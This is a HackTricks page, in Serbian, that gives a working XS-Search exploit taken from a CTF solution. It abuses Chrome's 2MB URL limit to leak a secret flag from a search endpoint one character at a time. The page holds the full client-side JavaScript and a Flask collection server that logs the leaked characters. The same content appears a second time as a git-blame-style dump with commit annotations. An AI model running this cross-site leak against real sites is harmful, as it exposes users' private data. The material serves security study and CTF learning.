hacktricks/pentesting-web/xs-search/url-max-length-client-side.md

# Maksimalna dužina URL-a - Klijentska strana

<details>

<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

Kod sa [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
```html
<html>
<body></body>
<script>
(async () => {

const curr = "http://secrets.wtl.pw/search?query=HackTM{"

const leak = async (char) => {

fetch("/?try=" + char)
let w = window.open(curr + char +  "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))

const check = async () => {
try {
w.origin
} catch {
fetch("/?nope=" + char)
return
}
setTimeout(check, 100)
}
check()
}

const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"

for (let i = 0; i < CHARSET.length; i++) {
leak(CHARSET[i])
await new Promise(resolve => setTimeout(resolve, 50))
}
})()
</script>
</html>
```
Server strana:
```python
from flask import Flask, request

app = Flask(__name__)

CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []

@app.route('/', methods=['GET'])
def index():
global chars

nope = request.args.get('nope', '')
if nope:
chars.append(nope)

remaining = [c for c in CHARSET if c not in chars]

print("Remaining: {}".format(remaining))

return "OK"

@app.route('/exploit.html', methods=['GET'])
def exploit():
return open('exploit.html', 'r').read()

if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
```
<details>

<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>
Translated to Serbian 2024-02-10 13:11:20 +00:00			`# Maksimalna dužina URL-a - Klijentska strana`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
			`<details>`

Translated to Serbian 2024-02-10 13:11:20 +00:00			`<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
Translated to Serbian 2024-02-10 13:11:20 +00:00			`* Da li radite u kompaniji za kibernetičku bezbednost? Želite li da vidite svoju kompaniju reklamiranu na HackTricks-u? Ili želite da imate pristup najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu? Proverite [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)!`
			`* Otkrijte [The PEASS Family](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [NFT-ova](https://opensea.io/collection/the-peass-family)`
			`* Nabavite [zvanični PEASS & HackTricks swag](https://peass.creator-spring.com)`
			`* Pridružite se [💬](https://emojipedia.org/speech-balloon/) [Discord grupi](https://discord.gg/hRep4RUj7f) ili [telegram grupi](https://t.me/peass) ili me pratite na Twitter-u 🐦[@carlospolopm](https://twitter.com/hacktricks_live).`
			`* Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud).`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
			`</details>`

Translated to Serbian 2024-02-10 13:11:20 +00:00			`Kod sa [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00			```html
			`<html>`
			`<body></body>`
			`<script>`
Translated to Serbian 2024-02-10 13:11:20 +00:00			`(async () => {`

			`const curr = "http://secrets.wtl.pw/search?query=HackTM{"`

			`const leak = async (char) => {`

			`fetch("/?try=" + char)`
			`let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))`

			`const check = async () => {`
			`try {`
			`w.origin`
			`} catch {`
			`fetch("/?nope=" + char)`
			`return`
			`}`
			`setTimeout(check, 100)`
			`}`
			`check()`
			`}`

			`const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"`

			`for (let i = 0; i < CHARSET.length; i++) {`
			`leak(CHARSET[i])`
			`await new Promise(resolve => setTimeout(resolve, 50))`
			`}`
			`})()`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00			`</script>`
			`</html>`
			```
Translated to Serbian 2024-02-10 13:11:20 +00:00			`Server strana:`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00			```python
			`from flask import Flask, request`

			`app = Flask(__name__)`

			`CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"`
			`chars = []`

			`@app.route('/', methods=['GET'])`
			`def index():`
Translated to Serbian 2024-02-10 13:11:20 +00:00			`global chars`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
Translated to Serbian 2024-02-10 13:11:20 +00:00			`nope = request.args.get('nope', '')`
			`if nope:`
			`chars.append(nope)`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
Translated to Serbian 2024-02-10 13:11:20 +00:00			`remaining = [c for c in CHARSET if c not in chars]`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
Translated to Serbian 2024-02-10 13:11:20 +00:00			`print("Remaining: {}".format(remaining))`

			`return "OK"`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
			`@app.route('/exploit.html', methods=['GET'])`
			`def exploit():`
Translated to Serbian 2024-02-10 13:11:20 +00:00			`return open('exploit.html', 'r').read()`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
			`if __name__ == '__main__':`
Translated to Serbian 2024-02-10 13:11:20 +00:00			`app.run(host='0.0.0.0', port=1337)`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00			```
			`<details>`

Translated to Serbian 2024-02-10 13:11:20 +00:00			`<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
Translated to Serbian 2024-02-10 13:11:20 +00:00			`* Da li radite u cybersecurity kompaniji? Želite li da vidite svoju kompaniju reklamiranu na HackTricks-u? Ili želite da imate pristup najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu? Proverite [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)!`
			`* Otkrijte [The PEASS Family](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [NFT-ova](https://opensea.io/collection/the-peass-family)`
			`* Nabavite [zvanični PEASS & HackTricks swag](https://peass.creator-spring.com)`
			`* Pridružite se [💬](https://emojipedia.org/speech-balloon/) [Discord grupi](https://discord.gg/hRep4RUj7f) ili [telegram grupi](https://t.me/peass) ili me pratite na Twitter-u 🐦[@carlospolopm](https://twitter.com/hacktricks_live).`
			`* Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud).`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
			`</details>`